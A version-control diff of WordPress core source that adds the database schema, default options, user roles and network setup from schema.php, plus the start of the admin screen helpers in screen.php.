+	if ( $is_multisite )
+		$global_tables = $users_multi_table . $usermeta_table;
+	else
+		$global_tables = $users_single_table . $usermeta_table;
+
+	// Multisite global tables.
+	$ms_global_tables = "CREATE TABLE $wpdb->blogs (
+  blog_id bigint(20) NOT NULL auto_increment,
+  site_id bigint(20) NOT NULL default '0',
+  domain varchar(200) NOT NULL default '',
+  path varchar(100) NOT NULL default '',
+  registered datetime NOT NULL default '0000-00-00 00:00:00',
+  last_updated datetime NOT NULL default '0000-00-00 00:00:00',
+  public tinyint(2) NOT NULL default '1',
+  archived tinyint(2) NOT NULL default '0',
+  mature tinyint(2) NOT NULL default '0',
+  spam tinyint(2) NOT NULL default '0',
+  deleted tinyint(2) NOT NULL default '0',
+  lang_id int(11) NOT NULL default '0',
+  PRIMARY KEY  (blog_id),
+  KEY domain (domain(50),path(5)),
+  KEY lang_id (lang_id)
+) $charset_collate;
+CREATE TABLE $wpdb->blog_versions (
+  blog_id bigint(20) NOT NULL default '0',
+  db_version varchar(20) NOT NULL default '',
+  last_updated datetime NOT NULL default '0000-00-00 00:00:00',
+  PRIMARY KEY  (blog_id),
+  KEY db_version (db_version)
+) $charset_collate;
+CREATE TABLE $wpdb->registration_log (
+  ID bigint(20) NOT NULL auto_increment,
+  email varchar(255) NOT NULL default '',
+  IP varchar(30) NOT NULL default '',
+  blog_id bigint(20) NOT NULL default '0',
+  date_registered datetime NOT NULL default '0000-00-00 00:00:00',
+  PRIMARY KEY  (ID),
+  KEY IP (IP)
+) $charset_collate;
+CREATE TABLE $wpdb->site (
+  id bigint(20) NOT NULL auto_increment,
+  domain varchar(200) NOT NULL default '',
+  path varchar(100) NOT NULL default '',
+  PRIMARY KEY  (id),
+  KEY domain (domain,path)
+) $charset_collate;
+CREATE TABLE $wpdb->sitemeta (
+  meta_id bigint(20) NOT NULL auto_increment,
+  site_id bigint(20) NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (meta_id),
+  KEY meta_key (meta_key),
+  KEY site_id (site_id)
+) $charset_collate;
+CREATE TABLE $wpdb->signups (
+  signup_id bigint(20) NOT NULL auto_increment,
+  domain varchar(200) NOT NULL default '',
+  path varchar(100) NOT NULL default '',
+  title longtext NOT NULL,
+  user_login varchar(60) NOT NULL default '',
+  user_email varchar(100) NOT NULL default '',
+  registered datetime NOT NULL default '0000-00-00 00:00:00',
+  activated datetime NOT NULL default '0000-00-00 00:00:00',
+  active tinyint(1) NOT NULL default '0',
+  activation_key varchar(50) NOT NULL default '',
+  meta longtext,
+  PRIMARY KEY  (signup_id),
+  KEY activation_key (activation_key),
+  KEY user_email (user_email),
+  KEY user_login_email (user_login,user_email),
+  KEY domain_path (domain,path)
+) $charset_collate;";
+
+	switch ( $scope ) {
+		case 'blog' :
+			$queries = $blog_tables;
+			break;
+		case 'global' :
+			$queries = $global_tables;
+			if ( $is_multisite )
+				$queries .= $ms_global_tables;
+			break;
+		case 'ms_global' :
+			$queries = $ms_global_tables;
+			break;
+		case 'all' :
+		default:
+			$queries = $global_tables . $blog_tables;
+			if ( $is_multisite )
+				$queries .= $ms_global_tables;
+			break;
+	}
+
+	if ( isset( $old_blog_id ) )
+		$wpdb->set_blog_id( $old_blog_id );
+
+	return $queries;
+}
+
+// Populate for back compat.
+$wp_queries = wp_get_db_schema( 'all' );
+
+/**
+ * Create WordPress options and set the default values.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @uses $wp_db_version
+ */
+function populate_options() {
+	global $wpdb, $wp_db_version, $wp_current_db_version;
+
+	$guessurl = wp_guess_url();
+	/**
+	 * Fires before creating WordPress options and populating their default values.
+	 *
+	 * @since 2.6.0
+	 */
+	do_action( 'populate_options' );
+
+	if ( ini_get('safe_mode') ) {
+		// Safe mode can break mkdir() so use a flat structure by default.
+		$uploads_use_yearmonth_folders = 0;
+	} else {
+		$uploads_use_yearmonth_folders = 1;
+	}
+
+	$template = WP_DEFAULT_THEME;
+	// If default theme is a child theme, we need to get its template
+	$theme = wp_get_theme( $template );
+	if ( ! $theme->errors() )
+		$template = $theme->get_template();
+
+	$timezone_string = '';
+	$gmt_offset = 0;
+	/* translators: default GMT offset or timezone string. Must be either a valid offset (-12 to 14)
+	   or a valid timezone string (America/New_York). See http://us3.php.net/manual/en/timezones.php
+	   for all timezone strings supported by PHP.
+	*/
+	$offset_or_tz = _x( '0', 'default GMT offset or timezone string' );
+	if ( is_numeric( $offset_or_tz ) )
+		$gmt_offset = $offset_or_tz;
+	elseif ( $offset_or_tz && in_array( $offset_or_tz, timezone_identifiers_list() ) )
+			$timezone_string = $offset_or_tz;
+
+	$options = array(
+	'siteurl' => $guessurl,
+	'home' => $guessurl,
+	'blogname' => __('My Site'),
+	/* translators: blog tagline */
+	'blogdescription' => __('Just another WordPress site'),
+	'users_can_register' => 0,
+	'admin_email' => 'you@example.com',
+	/* translators: default start of the week. 0 = Sunday, 1 = Monday */
+	'start_of_week' => _x( '1', 'start of week' ),
+	'use_balanceTags' => 0,
+	'use_smilies' => 1,
+	'require_name_email' => 1,
+	'comments_notify' => 1,
+	'posts_per_rss' => 10,
+	'rss_use_excerpt' => 0,
+	'mailserver_url' => 'mail.example.com',
+	'mailserver_login' => 'login@example.com',
+	'mailserver_pass' => 'password',
+	'mailserver_port' => 110,
+	'default_category' => 1,
+	'default_comment_status' => 'open',
+	'default_ping_status' => 'open',
+	'default_pingback_flag' => 1,
+	'posts_per_page' => 10,
+	/* translators: default date format, see http://php.net/date */
+	'date_format' => __('F j, Y'),
+	/* translators: default time format, see http://php.net/date */
+	'time_format' => __('g:i a'),
+	/* translators: links last updated date format, see http://php.net/date */
+	'links_updated_date_format' => __('F j, Y g:i a'),
+	'comment_moderation' => 0,
+	'moderation_notify' => 1,
+	'permalink_structure' => '',
+	'gzipcompression' => 0,
+	'hack_file' => 0,
+	'blog_charset' => 'UTF-8',
+	'moderation_keys' => '',
+	'active_plugins' => array(),
+	'category_base' => '',
+	'ping_sites' => 'http://rpc.pingomatic.com/',
+	'advanced_edit' => 0,
+	'comment_max_links' => 2,
+	'gmt_offset' => $gmt_offset,
+
+	// 1.5
+	'default_email_category' => 1,
+	'recently_edited' => '',
+	'template' => $template,
+	'stylesheet' => WP_DEFAULT_THEME,
+	'comment_whitelist' => 1,
+	'blacklist_keys' => '',
+	'comment_registration' => 0,
+	'html_type' => 'text/html',
+
+	// 1.5.1
+	'use_trackback' => 0,
+
+	// 2.0
+	'default_role' => 'subscriber',
+	'db_version' => $wp_db_version,
+
+	// 2.0.1
+	'uploads_use_yearmonth_folders' => $uploads_use_yearmonth_folders,
+	'upload_path' => '',
+
+	// 2.1
+	'blog_public' => '1',
+	'default_link_category' => 2,
+	'show_on_front' => 'posts',
+
+	// 2.2
+	'tag_base' => '',
+
+	// 2.5
+	'show_avatars' => '1',
+	'avatar_rating' => 'G',
+	'upload_url_path' => '',
+	'thumbnail_size_w' => 150,
+	'thumbnail_size_h' => 150,
+	'thumbnail_crop' => 1,
+	'medium_size_w' => 300,
+	'medium_size_h' => 300,
+
+	// 2.6
+	'avatar_default' => 'mystery',
+
+	// 2.7
+	'large_size_w' => 1024,
+	'large_size_h' => 1024,
+	'image_default_link_type' => 'file',
+	'image_default_size' => '',
+	'image_default_align' => '',
+	'close_comments_for_old_posts' => 0,
+	'close_comments_days_old' => 14,
+	'thread_comments' => 1,
+	'thread_comments_depth' => 5,
+	'page_comments' => 0,
+	'comments_per_page' => 50,
+	'default_comments_page' => 'newest',
+	'comment_order' => 'asc',
+	'sticky_posts' => array(),
+	'widget_categories' => array(),
+	'widget_text' => array(),
+	'widget_rss' => array(),
+	'uninstall_plugins' => array(),
+
+	// 2.8
+	'timezone_string' => $timezone_string,
+
+	// 3.0
+	'page_for_posts' => 0,
+	'page_on_front' => 0,
+
+	// 3.1
+	'default_post_format' => 0,
+
+	// 3.5
+	'link_manager_enabled' => 0,
+	);
+
+	// 3.3
+	if ( ! is_multisite() ) {
+		$options['initial_db_version'] = ! empty( $wp_current_db_version ) && $wp_current_db_version < $wp_db_version
+			? $wp_current_db_version : $wp_db_version;
+	}
+
+	// 3.0 multisite
+	if ( is_multisite() ) {
+		/* translators: blog tagline */
+		$options[ 'blogdescription' ] = sprintf(__('Just another %s site'), get_current_site()->site_name );
+		$options[ 'permalink_structure' ] = '/%year%/%monthnum%/%day%/%postname%/';
+	}
+
+	// Set autoload to no for these options
+	$fat_options = array( 'moderation_keys', 'recently_edited', 'blacklist_keys', 'uninstall_plugins' );
+
+	$keys = "'" . implode( "', '", array_keys( $options ) ) . "'";
+	$existing_options = $wpdb->get_col( "SELECT option_name FROM $wpdb->options WHERE option_name in ( $keys )" );
+
+	$insert = '';
+	foreach ( $options as $option => $value ) {
+		if ( in_array($option, $existing_options) )
+			continue;
+		if ( in_array($option, $fat_options) )
+			$autoload = 'no';
+		else
+			$autoload = 'yes';
+
+		if ( is_array($value) )
+			$value = serialize($value);
+		if ( !empty($insert) )
+			$insert .= ', ';
+		$insert .= $wpdb->prepare( "(%s, %s, %s)", $option, $value, $autoload );
+	}
+
+	if ( !empty($insert) )
+		$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES " . $insert);
+
+	// In case it is set, but blank, update "home".
+	if ( !__get_option('home') ) update_option('home', $guessurl);
+
+	// Delete unused options.
+	$unusedoptions = array(
+		'blodotgsping_url', 'bodyterminator', 'emailtestonly', 'phoneemail_separator', 'smilies_directory',
+		'subjectprefix', 'use_bbcode', 'use_blodotgsping', 'use_phoneemail', 'use_quicktags', 'use_weblogsping',
+		'weblogs_cache_file', 'use_preview', 'use_htmltrans', 'smilies_directory', 'fileupload_allowedusers',
+		'use_phoneemail', 'default_post_status', 'default_post_category', 'archive_mode', 'time_difference',
+		'links_minadminlevel', 'links_use_adminlevels', 'links_rating_type', 'links_rating_char',
+		'links_rating_ignore_zero', 'links_rating_single_image', 'links_rating_image0', 'links_rating_image1',
+		'links_rating_image2', 'links_rating_image3', 'links_rating_image4', 'links_rating_image5',
+		'links_rating_image6', 'links_rating_image7', 'links_rating_image8', 'links_rating_image9',
+		'links_recently_updated_time', 'links_recently_updated_prepend', 'links_recently_updated_append',
+		'weblogs_cacheminutes', 'comment_allowed_tags', 'search_engine_friendly_urls', 'default_geourl_lat',
+		'default_geourl_lon', 'use_default_geourl', 'weblogs_xml_url', 'new_users_can_blog', '_wpnonce',
+		'_wp_http_referer', 'Update', 'action', 'rich_editing', 'autosave_interval', 'deactivated_plugins',
+		'can_compress_scripts', 'page_uris', 'update_core', 'update_plugins', 'update_themes', 'doing_cron',
+		'random_seed', 'rss_excerpt_length', 'secret', 'use_linksupdate', 'default_comment_status_page',
+		'wporg_popular_tags', 'what_to_show', 'rss_language', 'language', 'enable_xmlrpc', 'enable_app',
+		'embed_autourls', 'default_post_edit_rows',
+	);
+	foreach ( $unusedoptions as $option )
+		delete_option($option);
+
+	// Delete obsolete magpie stuff.
+	$wpdb->query("DELETE FROM $wpdb->options WHERE option_name REGEXP '^rss_[0-9a-f]{32}(_ts)?$'");
+
+	/*
+	 * Deletes all expired transients. The multi-table delete syntax is used
+	 * to delete the transient record from table a, and the corresponding
+	 * transient_timeout record from table b.
+	 */
+	$time = time();
+	$sql = "DELETE a, b FROM $wpdb->options a, $wpdb->options b
+		WHERE a.option_name LIKE %s
+		AND a.option_name NOT LIKE %s
+		AND b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) )
+		AND b.option_value < %d";
+	$wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( '_transient_' ) . '%', $wpdb->esc_like( '_transient_timeout_' ) . '%', $time ) );
+
+	if ( is_main_site() && is_main_network() ) {
+		$sql = "DELETE a, b FROM $wpdb->options a, $wpdb->options b
+			WHERE a.option_name LIKE %s
+			AND a.option_name NOT LIKE %s
+			AND b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) )
+			AND b.option_value < %d";
+		$wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( '_site_transient_' ) . '%', $wpdb->esc_like( '_site_transient_timeout_' ) . '%', $time ) );
+	}
+}
+
+/**
+ * Execute WordPress role creation for the various WordPress versions.
+ *
+ * @since 2.0.0
+ */
+function populate_roles() {
+	populate_roles_160();
+	populate_roles_210();
+	populate_roles_230();
+	populate_roles_250();
+	populate_roles_260();
+	populate_roles_270();
+	populate_roles_280();
+	populate_roles_300();
+}
+
+/**
+ * Create the roles for WordPress 2.0
+ *
+ * @since 2.0.0
+ */
+function populate_roles_160() {
+	// Add roles
+
+	// Dummy gettext calls to get strings in the catalog.
+	/* translators: user role */
+	_x('Administrator', 'User role');
+	/* translators: user role */
+	_x('Editor', 'User role');
+	/* translators: user role */
+	_x('Author', 'User role');
+	/* translators: user role */
+	_x('Contributor', 'User role');
+	/* translators: user role */
+	_x('Subscriber', 'User role');
+
+	add_role('administrator', 'Administrator');
+	add_role('editor', 'Editor');
+	add_role('author', 'Author');
+	add_role('contributor', 'Contributor');
+	add_role('subscriber', 'Subscriber');
+
+	// Add caps for Administrator role
+	$role = get_role('administrator');
+	$role->add_cap('switch_themes');
+	$role->add_cap('edit_themes');
+	$role->add_cap('activate_plugins');
+	$role->add_cap('edit_plugins');
+	$role->add_cap('edit_users');
+	$role->add_cap('edit_files');
+	$role->add_cap('manage_options');
+	$role->add_cap('moderate_comments');
+	$role->add_cap('manage_categories');
+	$role->add_cap('manage_links');
+	$role->add_cap('upload_files');
+	$role->add_cap('import');
+	$role->add_cap('unfiltered_html');
+	$role->add_cap('edit_posts');
+	$role->add_cap('edit_others_posts');
+	$role->add_cap('edit_published_posts');
+	$role->add_cap('publish_posts');
+	$role->add_cap('edit_pages');
+	$role->add_cap('read');
+	$role->add_cap('level_10');
+	$role->add_cap('level_9');
+	$role->add_cap('level_8');
+	$role->add_cap('level_7');
+	$role->add_cap('level_6');
+	$role->add_cap('level_5');
+	$role->add_cap('level_4');
+	$role->add_cap('level_3');
+	$role->add_cap('level_2');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Editor role
+	$role = get_role('editor');
+	$role->add_cap('moderate_comments');
+	$role->add_cap('manage_categories');
+	$role->add_cap('manage_links');
+	$role->add_cap('upload_files');
+	$role->add_cap('unfiltered_html');
+	$role->add_cap('edit_posts');
+	$role->add_cap('edit_others_posts');
+	$role->add_cap('edit_published_posts');
+	$role->add_cap('publish_posts');
+	$role->add_cap('edit_pages');
+	$role->add_cap('read');
+	$role->add_cap('level_7');
+	$role->add_cap('level_6');
+	$role->add_cap('level_5');
+	$role->add_cap('level_4');
+	$role->add_cap('level_3');
+	$role->add_cap('level_2');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Author role
+	$role = get_role('author');
+	$role->add_cap('upload_files');
+	$role->add_cap('edit_posts');
+	$role->add_cap('edit_published_posts');
+	$role->add_cap('publish_posts');
+	$role->add_cap('read');
+	$role->add_cap('level_2');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Contributor role
+	$role = get_role('contributor');
+	$role->add_cap('edit_posts');
+	$role->add_cap('read');
+	$role->add_cap('level_1');
+	$role->add_cap('level_0');
+
+	// Add caps for Subscriber role
+	$role = get_role('subscriber');
+	$role->add_cap('read');
+	$role->add_cap('level_0');
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.1.
+ *
+ * @since 2.1.0
+ */
+function populate_roles_210() {
+	$roles = array('administrator', 'editor');
+	foreach ($roles as $role) {
+		$role = get_role($role);
+		if ( empty($role) )
+			continue;
+
+		$role->add_cap('edit_others_pages');
+		$role->add_cap('edit_published_pages');
+		$role->add_cap('publish_pages');
+		$role->add_cap('delete_pages');
+		$role->add_cap('delete_others_pages');
+		$role->add_cap('delete_published_pages');
+		$role->add_cap('delete_posts');
+		$role->add_cap('delete_others_posts');
+		$role->add_cap('delete_published_posts');
+		$role->add_cap('delete_private_posts');
+		$role->add_cap('edit_private_posts');
+		$role->add_cap('read_private_posts');
+		$role->add_cap('delete_private_pages');
+		$role->add_cap('edit_private_pages');
+		$role->add_cap('read_private_pages');
+	}
+
+	$role = get_role('administrator');
+	if ( ! empty($role) ) {
+		$role->add_cap('delete_users');
+		$role->add_cap('create_users');
+	}
+
+	$role = get_role('author');
+	if ( ! empty($role) ) {
+		$role->add_cap('delete_posts');
+		$role->add_cap('delete_published_posts');
+	}
+
+	$role = get_role('contributor');
+	if ( ! empty($role) ) {
+		$role->add_cap('delete_posts');
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.3.
+ *
+ * @since 2.3.0
+ */
+function populate_roles_230() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'unfiltered_upload' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.5.
+ *
+ * @since 2.5.0
+ */
+function populate_roles_250() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'edit_dashboard' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.6.
+ *
+ * @since 2.6.0
+ */
+function populate_roles_260() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'update_plugins' );
+		$role->add_cap( 'delete_plugins' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.7.
+ *
+ * @since 2.7.0
+ */
+function populate_roles_270() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'install_plugins' );
+		$role->add_cap( 'update_themes' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 2.8.
+ *
+ * @since 2.8.0
+ */
+function populate_roles_280() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'install_themes' );
+	}
+}
+
+/**
+ * Create and modify WordPress roles for WordPress 3.0.
+ *
+ * @since 3.0.0
+ */
+function populate_roles_300() {
+	$role = get_role( 'administrator' );
+
+	if ( !empty( $role ) ) {
+		$role->add_cap( 'update_core' );
+		$role->add_cap( 'list_users' );
+		$role->add_cap( 'remove_users' );
+
+		/*
+		 * Never used, will be removed. create_users or promote_users
+		 * is the capability you're looking for.
+		 */
+		$role->add_cap( 'add_users' );
+
+		$role->add_cap( 'promote_users' );
+		$role->add_cap( 'edit_theme_options' );
+		$role->add_cap( 'delete_themes' );
+		$role->add_cap( 'export' );
+	}
+}
+
+/**
+ * Install Network.
+ *
+ * @since 3.0.0
+ *
+ */
+if ( !function_exists( 'install_network' ) ) :
+function install_network() {
+	if ( ! defined( 'WP_INSTALLING_NETWORK' ) )
+		define( 'WP_INSTALLING_NETWORK', true );
+
+	dbDelta( wp_get_db_schema( 'global' ) );
+}
+endif;
+
+/**
+ * Populate network settings.
+ *
+ * @since 3.0.0
+ *
+ * @param int $network_id ID of network to populate.
+ * @return bool|WP_Error True on success, or WP_Error on warning (with the install otherwise successful,
+ *                       so the error code must be checked) or failure.
+ */
+function populate_network( $network_id = 1, $domain = '', $email = '', $site_name = '', $path = '/', $subdomain_install = false ) {
+	global $wpdb, $current_site, $wp_db_version, $wp_rewrite;
+
+	$errors = new WP_Error();
+	if ( '' == $domain )
+		$errors->add( 'empty_domain', __( 'You must provide a domain name.' ) );
+	if ( '' == $site_name )
+		$errors->add( 'empty_sitename', __( 'You must provide a name for your network of sites.' ) );
+
+	// Check for network collision.
+	if ( $network_id == $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $wpdb->site WHERE id = %d", $network_id ) ) )
+		$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
+
+	$site_user = get_user_by( 'email', $email );
+	if ( ! is_email( $email ) )
+		$errors->add( 'invalid_email', __( 'You must provide a valid e-mail address.' ) );
+
+	if ( $errors->get_error_code() )
+		return $errors;
+
+	// Set up site tables.
+	$template = get_option( 'template' );
+	$stylesheet = get_option( 'stylesheet' );
+	$allowed_themes = array( $stylesheet => true );
+	if ( $template != $stylesheet )
+		$allowed_themes[ $template ] = true;
+	if ( WP_DEFAULT_THEME != $stylesheet && WP_DEFAULT_THEME != $template )
+		$allowed_themes[ WP_DEFAULT_THEME ] = true;
+
+	if ( 1 == $network_id ) {
+		$wpdb->insert( $wpdb->site, array( 'domain' => $domain, 'path' => $path ) );
+		$network_id = $wpdb->insert_id;
+	} else {
+		$wpdb->insert( $wpdb->site, array( 'domain' => $domain, 'path' => $path, 'id' => $network_id ) );
+	}
+
+	wp_cache_delete( 'networks_have_paths', 'site-options' );
+
+	if ( !is_multisite() ) {
+		$site_admins = array( $site_user->user_login );
+		$users = get_users( array( 'fields' => array( 'ID', 'user_login' ) ) );
+		if ( $users ) {
+			foreach ( $users as $user ) {
+				if ( is_super_admin( $user->ID ) && !in_array( $user->user_login, $site_admins ) )
+					$site_admins[] = $user->user_login;
+			}
+		}
+	} else {
+		$site_admins = get_site_option( 'site_admins' );
+	}
+
+	$welcome_email = __( 'Dear User,
+
+Your new SITE_NAME site has been successfully set up at:
+BLOG_URL
+
+You can log in to the administrator account with the following information:
+
+Username: USERNAME
+Password: PASSWORD
+Log in here: BLOG_URLwp-login.php
+
+We hope you enjoy your new site. Thanks!
+
+--The Team @ SITE_NAME' );
+
+	$misc_exts = array(
+		// Images.
+		'jpg', 'jpeg', 'png', 'gif',
+		// Video.
+		'mov', 'avi', 'mpg', '3gp', '3g2',
+		// "audio".
+		'midi', 'mid',
+		// Miscellaneous.
+		'pdf', 'doc', 'ppt', 'odt', 'pptx', 'docx', 'pps', 'ppsx', 'xls', 'xlsx', 'key',
+	);
+	$audio_exts = wp_get_audio_extensions();
+	$video_exts = wp_get_video_extensions();
+	$upload_filetypes = array_unique( array_merge( $misc_exts, $audio_exts, $video_exts ) );
+
+	$sitemeta = array(
+		'site_name' => $site_name,
+		'admin_email' => $site_user->user_email,
+		'admin_user_id' => $site_user->ID,
+		'registration' => 'none',
+		'upload_filetypes' => implode( ' ', $upload_filetypes ),
+		'blog_upload_space' => 100,
+		'fileupload_maxk' => 1500,
+		'site_admins' => $site_admins,
+		'allowedthemes' => $allowed_themes,
+		'illegal_names' => array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ),
+		'wpmu_upgrade_site' => $wp_db_version,
+		'welcome_email' => $welcome_email,
+		'first_post' => __( 'Welcome to <a href="SITE_URL">SITE_NAME</a>. This is your first post. Edit or delete it, then start blogging!' ),
+		// @todo - network admins should have a method of editing the network siteurl (used for cookie hash)
+		'siteurl' => get_option( 'siteurl' ) . '/',
+		'add_new_users' => '0',
+		'upload_space_check_disabled' => is_multisite() ? get_site_option( 'upload_space_check_disabled' ) : '1',
+		'subdomain_install' => intval( $subdomain_install ),
+		'global_terms_enabled' => global_terms_enabled() ? '1' : '0',
+		'ms_files_rewriting' => is_multisite() ? get_site_option( 'ms_files_rewriting' ) : '0',
+		'initial_db_version' => get_option( 'initial_db_version' ),
+		'active_sitewide_plugins' => array(),
+		'WPLANG' => get_locale(),
+	);
+	if ( ! $subdomain_install )
+		$sitemeta['illegal_names'][] = 'blog';
+
+	/**
+	 * Filter meta for a network on creation.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $sitemeta   Associative array of network meta keys and values to be inserted.
+	 * @param int   $network_id ID of network to populate.
+	 */
+	$sitemeta = apply_filters( 'populate_network_meta', $sitemeta, $network_id );
+
+	$insert = '';
+	foreach ( $sitemeta as $meta_key => $meta_value ) {
+		if ( is_array( $meta_value ) )
+			$meta_value = serialize( $meta_value );
+		if ( !empty( $insert ) )
+			$insert .= ', ';
+		$insert .= $wpdb->prepare( "( %d, %s, %s)", $network_id, $meta_key, $meta_value );
+	}
+	$wpdb->query( "INSERT INTO $wpdb->sitemeta ( site_id, meta_key, meta_value ) VALUES " . $insert );
+
+	/*
+	 * When upgrading from single to multisite, assume the current site will
+	 * become the main site of the network. When using populate_network()
+	 * to create another network in an existing multisite environment, skip
+	 * these steps since the main site of the new network has not yet been
+	 * created.
+	 */
+	if ( ! is_multisite() ) {
+		$current_site = new stdClass;
+		$current_site->domain = $domain;
+		$current_site->path = $path;
+		$current_site->site_name = ucfirst( $domain );
+		$wpdb->insert( $wpdb->blogs, array( 'site_id' => $network_id, 'blog_id' => 1, 'domain' => $domain, 'path' => $path, 'registered' => current_time( 'mysql' ) ) );
+		$current_site->blog_id = $blog_id = $wpdb->insert_id;
+		update_user_meta( $site_user->ID, 'source_domain', $domain );
+		update_user_meta( $site_user->ID, 'primary_blog', $blog_id );
+
+		if ( $subdomain_install )
+			$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+		else
+			$wp_rewrite->set_permalink_structure( '/blog/%year%/%monthnum%/%day%/%postname%/' );
+
+		flush_rewrite_rules();
+
+		if ( ! $subdomain_install )
+			return true;
+
+		$vhost_ok = false;
+		$errstr = '';
+		$hostname = substr( md5( time() ), 0, 6 ) . '.' . $domain; // Very random hostname!
+		$page = wp_remote_get( 'http://' . $hostname, array( 'timeout' => 5, 'httpversion' => '1.1' ) );
+		if ( is_wp_error( $page ) )
+			$errstr = $page->get_error_message();
+		elseif ( 200 == wp_remote_retrieve_response_code( $page ) )
+				$vhost_ok = true;
+
+		if ( ! $vhost_ok ) {
+			$msg = '<p><strong>' . __( 'Warning! Wildcard DNS may not be configured correctly!' ) . '</strong></p>';
+			$msg .= '<p>' . sprintf( __( 'The installer attempted to contact a random hostname (<code>%1$s</code>) on your domain.' ), $hostname );
+			if ( ! empty ( $errstr ) )
+				$msg .= ' ' . sprintf( __( 'This resulted in an error message: %s' ), '<code>' . $errstr . '</code>' );
+			$msg .= '</p>';
+			$msg .= '<p>' . __( 'To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a <code>*</code> hostname record pointing at your web server in your DNS configuration tool.' ) . '</p>';
+			$msg .= '<p>' . __( 'You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message.' ) . '</p>';
+			return new WP_Error( 'no_wildcard_dns', $msg );
+		}
+	}
+
+	return true;
+}
Index: /tags/4.1.6/src/wp-admin/includes/screen.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/screen.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/screen.php	(revision 33402)
@@ -0,0 +1,1180 @@
+<?php
+/**
+ * WordPress Administration Screen API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Get the column headers for a screen
+ *
+ * @since 2.7.0
+ *
+ * @param string|WP_Screen $screen The screen you want the headers for
+ * @return array Containing the headers in the format id => UI String
+ */
+function get_column_headers( $screen ) {
+	if ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	static $column_headers = array();
+
+	if ( ! isset( $column_headers[ $screen->id ] ) ) {
+
+		/**
+		 * Filter the column headers for a list table on a specific screen.
+		 *
+		 * The dynamic portion of the hook name, `$screen->id`, refers to the
+		 * ID of a specific screen. For example, the screen ID for the Posts
+		 * list table is edit-post, so the filter for that screen would be
+		 * manage_edit-post_columns.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $columns An array of column headers. Default empty.
+		 */
+		$column_headers[ $screen->id ] = apply_filters( "manage_{$screen->id}_columns", array() );
+	}
+
+	return $column_headers[ $screen->id ];
+}
+
+/**
+ * Get a list of hidden columns.
+ *
+ * @since 2.7.0
+ *
+ * @param string|WP_Screen $screen The screen you want the hidden columns for
+ * @return array
+ */
+function get_hidden_columns( $screen ) {
+	if ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	return (array) get_user_option( 'manage' . $screen->id . 'columnshidden' );
+}
+
+/**
+ * Prints the meta box preferences for screen meta.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_Screen $screen
+ */
+function meta_box_prefs( $screen ) {
+	global $wp_meta_boxes;
+
+	if ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	if ( empty($wp_meta_boxes[$screen->id]) )
+		return;
+
+	$hidden = get_hidden_meta_boxes($screen);
+
+	foreach ( array_keys($wp_meta_boxes[$screen->id]) as $context ) {
+		foreach ( array_keys($wp_meta_boxes[$screen->id][$context]) as $priority ) {
+			foreach ( $wp_meta_boxes[$screen->id][$context][$priority] as $box ) {
+				if ( false == $box || ! $box['title'] )
+					continue;
+				// Submit box cannot be hidden
+				if ( 'submitdiv' == $box['id'] || 'linksubmitdiv' == $box['id'] )
+					continue;
+				$box_id = $box['id'];
+				echo '<label for="' . $box_id . '-hide">';
+				echo '<input class="hide-postbox-tog" name="' . $box_id . '-hide" type="checkbox" id="' . $box_id . '-hide" value="' . $box_id . '"' . (! in_array($box_id, $hidden) ? ' checked="checked"' : '') . ' />';
+				echo "{$box['title']}</label>\n";
+			}
+		}
+	}
+}
+
+/**
+ * Get Hidden Meta Boxes
+ *
+ * @since 2.7.0
+ *
+ * @param string|WP_Screen $screen Screen identifier
+ * @return array Hidden Meta Boxes
+ */
+function get_hidden_meta_boxes( $screen ) {
+	if ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	$hidden = get_user_option( "metaboxhidden_{$screen->id}" );
+
+	$use_defaults = ! is_array( $hidden );
+
+	// Hide slug boxes by default
+	if ( $use_defaults ) {
+		$hidden = array();
+		if ( 'post' == $screen->base ) {
+			if ( 'post' == $screen->post_type || 'page' == $screen->post_type || 'attachment' == $screen->post_type )
+				$hidden = array('slugdiv', 'trackbacksdiv', 'postcustom', 'postexcerpt', 'commentstatusdiv', 'commentsdiv', 'authordiv', 'revisionsdiv');
+			else
+				$hidden = array( 'slugdiv' );
+		}
+
+		/**
